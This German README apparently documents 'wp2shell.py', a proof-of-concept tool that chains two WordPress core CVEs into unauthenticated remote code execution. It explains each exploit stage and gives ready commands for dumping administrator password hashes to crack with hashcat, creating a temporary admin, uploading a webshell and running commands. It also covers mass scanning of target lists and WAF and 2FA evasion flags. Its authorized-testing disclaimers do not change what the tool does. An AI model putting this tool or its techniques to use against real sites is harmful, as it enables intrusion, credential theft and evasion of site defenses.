
Pre-auth RCE PoC für WordPress Core – verknüpft CVE-2026-63030 (REST /batch/v1 route-confusion desync) mit CVE-2026-60137 (author__not_in SQLi) zu einer unauthentifizierten Shell. Nur für autorisierte Tests.
Nicht authentifizierte WordPress Core RCE PoC, die CVE-2026-63030 + CVE-2026-60137 verkettet. Nur für autorisierte Tests.
wp2shell.py ist ein Proof-of-Concept, bestehend aus einer einzigen Datei, das ausschließlich die Standardbibliothek nutzt und zwei WordPress-Core-Sicherheitslücken zu einer nicht authentifizierten Remote-Code-Ausführung verkettet:
| CVE | Komponente | Fehler |
|---|---|---|
| CVE-2026-63030 | REST /batch/v1-Handler | Route-Confusion Desync – der Batch-Handler verliert die Synchronisation zwischen seiner Handler-Tabelle und seiner Validierungs-Tabelle, sobald ein Sub-Request-Pfad nicht geparst werden kann, sodass ein Sub-Request durch einen Handler ausgeführt wird, für den er nie validiert wurde. |
| CVE-2026-60137 | WP_Query | skalare SQL-Injection – der Wert author__not_in wird direkt in SQL eingefügt, sodass ein String, der ihn erreicht, injizierbar ist. |
Keiner der beiden Fehler allein führt zu RCE. Der Desync ist die Zustellung (er schmuggelt eine Angreiferzeichenfolge in eine Abfrage, die sie nie erreichen sollte); die Injection ist die Grundlage. Zusammen ergeben sie für einen nicht authentifizierten Angreifer ein vollständiges SQL-Lese-/Schreib-Orakel und daraus eine funktionierende Shell.
⚠️ Nur für autorisierte Tests. Dieses Tool nutzt Live-WordPress-Installationen aus. Verwenden Sie es nur gegen Systeme, die Sie besitzen oder für die Sie eine explizite schriftliche Genehmigung zum Testen haben.
Verwundbar: 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 Gepatched: 6.8.6, 6.9.5, 7.0.2 (und später) Gemeldet von Adam Kues (Assetnote / Searchlight Cyber); SQLi auch TF1T, dtro, haongo zugeschrieben.
Nur 6.9.0–7.0.1 sind RCE-fähig. In der 6.8.x-Reihe tritt der Desync immer noch auf, aber der Zweig, der den Handler verschieben würde, trifft auf einen WP_Error::get_method()-Fatal – daher ist 6.8.x ein Denial-of-Service/Absturz, keine Shell. Das Tool erkennt dies und gibt an, welche Grundlage verfügbar ist.
Der Exploit ist schichtweise aufgebaut; jede Schicht ist eine Brücke zur nächsten.
Desync (CVE-2026-63030). Ein Batch-Request verschachtelt einen zweiten Batch. Ein Sub-Request trägt einen absichtlich fehlerhaften Pfad (http://:, den wp_parse_url() ablehnt). Ab 6.9.0+ führt der fehlgeschlagene Parse dazu, dass die Handler- und Validierungstabellen um einen Eintrag abweichen, sodass der nächste Sub-Request unter einem Handler läuft, für den er nie validiert wurde – der öffentliche Beitragssammlung.
Injection (CVE-2026-60137). Dieser fehlgeleitete Aufruf erreicht WP_Query mit einem vom Angreifer kontrollierten author__not_in. Ein UNION ALL SELECT dort liest keine Zeilen – es erfindet sie, sodass wir beliebige Beiträge im Abfrageergebnis fälschen können.
SQL → Schreibbrücke. Die gefälschten Beiträge enthalten [embed]-Markup. WordPress löst diese getreulich auf und speichert sie als echte oembed_cache-Beitrags-Meta-Zeilen zwischen – eine schreibgeschützte Injection wird so zu einer beliebigen Schreib-Grundlage.
Rechteerweiterung. Mit dieser Schreibbrücke fälschen wir (a) ein Customizer-Changeset, das als echter Administrator verfasst ist, und (b) einen selbstreferenziellen request-Beitrag. Zusammen zwingen sie WordPress, seine eigene Request-Pipeline als dieser Admin erneut auszuführen – ein Fenster, das gerade lang genug ist, damit ein in die Warteschlange gestellter -Aufruf einen neuen Administrator erstellt.
Für die Lese-Seite (--dump, Prefix-Auflösung, gecachte IDs) wählt das Tool automatisch das schnellste Orakel aus, das funktioniert, und hält beim ersten Treffer an:
union – In-Band-UNION: Der post_title des gefälschten Beitrags enthält |||HEX(wert)|||, was unverändert im /wp/v2/posts-Antwortkörper zurückgespiegelt wird. Liest einen gesamten Wert (beliebige Länge) in einer Anfrage. Wenn UNION reflektiert, werden die booleschen Orakel nie getestet.bool – Boolesches X-WP-Total-Orakel: Der X-WP-Total-Header der verwirrten Sub-Antwort ist count>0 für true / 0 für false. Ein Bit pro Request (Bisektion).time – Zeitbasiertes SLEEP(): Der Fallback, wenn der Körper entfernt und die Antwort ein 500 ist (z. B. ein Post-Dispatch-Fatal von einem Caching-mu-Plugin). Funktioniert auch bei Zielen, die bei jedem REST-Aufruf abstürzen.--dump verwendet GROUP_CONCAT, um den gesamten Berechtigungssatz auf einmal zu ziehen, wenn UNION verfügbar ist.
Keine. Nur Python 3.7+ Standardbibliothek – kein pip install.
chmod +x wp2shell.py
# 1. Ist es verwundbar? (keine Injection, keine Schreibvorgänge, kein Konto erstellt)
./wp2shell.py http://ziel --check
# 2. Schreibgeschützter Credential-Dump – ERSTER Administrator + Options-Geheimnisse
./wp2shell.py http://ziel --dump
# …jeder Administrator
./wp2shell.py http://ziel --dump all
# 3. Vollständiges RCE – temporären Admin erstellen, Befehl ausführen, bereinigen
./wp2shell.py http://ziel --exec "id; uname -a"
./wp2shell.py http://ziel --user-list # vollständige Benutzertabelle (Logins/E-Mails/Rollen)
./wp2shell.py http://ziel --content # jeden Beitragstyp bei status=any (privat/entwurf)
./wp2shell.py http://ziel --content full # …einschließlich des rohen Texts jedes Elements
./wp2shell.py -f ziele.txt --check --target-threads 8
$wp$2y$… / $P$… / $2y$…) direkt an hashcat (-m 3200 für phpass oder den WP-bcrypt-Modus). WordPress 6.8+ verwendet $wp$… bcrypt.--dump standardmäßig nur den ersten Administrator. Verwenden Sie --dump all für die vollständige Admin-Liste.--oracle time --dump, um Hashes wiederherzustellen.Der --exec-Pfad ist so konzipiert, dass er nichts zurücklässt: Der temporäre Administrator, seine Usermeta, die fabrizierten oembed_cache-Zeilen und die hochgeladene Webshell werden alle entfernt, bevor das Tool beendet wird. Es gibt kein --keep-Flag – ein Operator sollte niemals ein lebendiges, von einem Angreifer erstelltes Admin-Konto auf dem System eines Kunden hinterlassen.
wp2shell.py – der Exploit (eine Datei, nur Standardbibliothek).Die Entdeckung der Sicherheitslücken, die Offenlegung und die ursprüngliche „wp2shell“-Veröffentlichung gehen auf das Searchlight Cyber / Assetnote-Forschungsteam zurück:
/batch/v1 Route-Confusion DesyncWP_Query author__not_in SQL-InjectionDieses Repository ist eine unabhängige Proof-of-Concept-Implementierung der Exploit-Kette, die sie offengelegt haben; es beansprucht nicht die Entdeckung der zugrunde liegenden Sicherheitslücken. Falls eine Zuordnung unvollständig oder falsch ist, eröffnen Sie bitte ein Issue, und es wird korrigiert.
Dies ist ein Proof-of-Concept für Sicherheitsforschung, der für autorisierte Penetrationstests und defensive Validierung bestimmt ist. Der Einsatz gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
POST /wp/v2/usersShell. Melden Sie sich als neuer Admin an, laden Sie ein Plugin hoch, führen Sie den Befehl aus. Das Konto, seine Meta, die oembed-Zeilen und die Webshell werden anschließend bereinigt – es bleibt kein bleibender Fußabdruck zurück.
| Flag | Zweck |
|---|
url / -f DATEI | Einzelnes Ziel oder eine Datei mit Zielen (eine URL pro Zeile) |
--check | Nur Sicherheitsüberprüfung – keine Injection, Schreibvorgänge oder Konto |
--dump [all] | Dump des Hashs + Geheimnisse des ersten Admins; all = jeder Admin |
--exec BEFEHL | Temporären Admin erstellen → BEFEHL ausführen → bereinigen |
--user-list | Erweiterter In-Band-Lesezugriff auf die gesamte Benutzertabelle (kein Login, umgeht 2FA) |
--content [full] | Erweiterter Lesezugriff auf jeden Beitragstyp bei status=any; full fügt Körper hinzu |
--oracle {auto,union,bool,time} | Extraktionsorakel erzwingen (Standard auto) |
--prefix PREFIX | Tabellenprefix erzwingen anstatt automatisch aufzulösen |
--impersonate UID | Diese Benutzer-ID anstelle des ersten Admins imitieren |
--threads N | Gleichzeitige Extraktionssonden innerhalb eines Ziels (Standard 5) |
--target-threads N | N Ziele aus -f gleichzeitig scannen (Standard 1) |
--proxy URL | Über einen Proxy leiten (z. B. Burp http://127.0.0.1:8080) |
--timeout SEK | Timeout pro Anfrage (Standard 30) |
--verbose / -v | Rohe Batch-Sub-Responses ausgeben (Debugging) |
| Flag | Zweck |
|---|
--form | Batch als multipart/form-data senden (saubere URL, kein ?rest_route=) |
--permalink [PREFIX] | Über /<PREFIX>/batch/v1 leiten (Standard wp-json); hält die Nutzlast aus der URL und aus $_POST heraus. Tipp: --permalink index.php/wp-json erreicht REST über PATH_INFO und umgeht Regeln, die auf /wp-json verankert sind |
--dummy N | N Bytes Junk im Body voranstellen, um einen WAF-Inspektionspuffer zu überlaufen |
--donor {widgets,categories,tags} | Donor-Route für die Verwirrung wechseln, falls eine 500 zurückgibt (Standard widgets) |
--per-page N | per_page fälschen (-1 oder eine große positive Zahl gibt alle Zeilen zurück; große positive Zahl verwenden, wenn das Ziel bei -1 500 zurückgibt) |
--users-route PFAD | Alternative Schreibweise/Abfrage für den Create-User-Aufruf (/wp/v2/Users, …?_=1) |
--primer PFAD | Alternativer fehlerhafter Desync-Pfad, falls eine WAF den Standard http://: erkennt |
--user-agent UA | User-Agent festlegen (Standard: ein zufälliger realistischer Browser-UA pro Durchlauf) |
--embed-base URL | oembed-URL-Basis überschreiben (um eine Self-Embed-Rückschleife zu vermeiden) |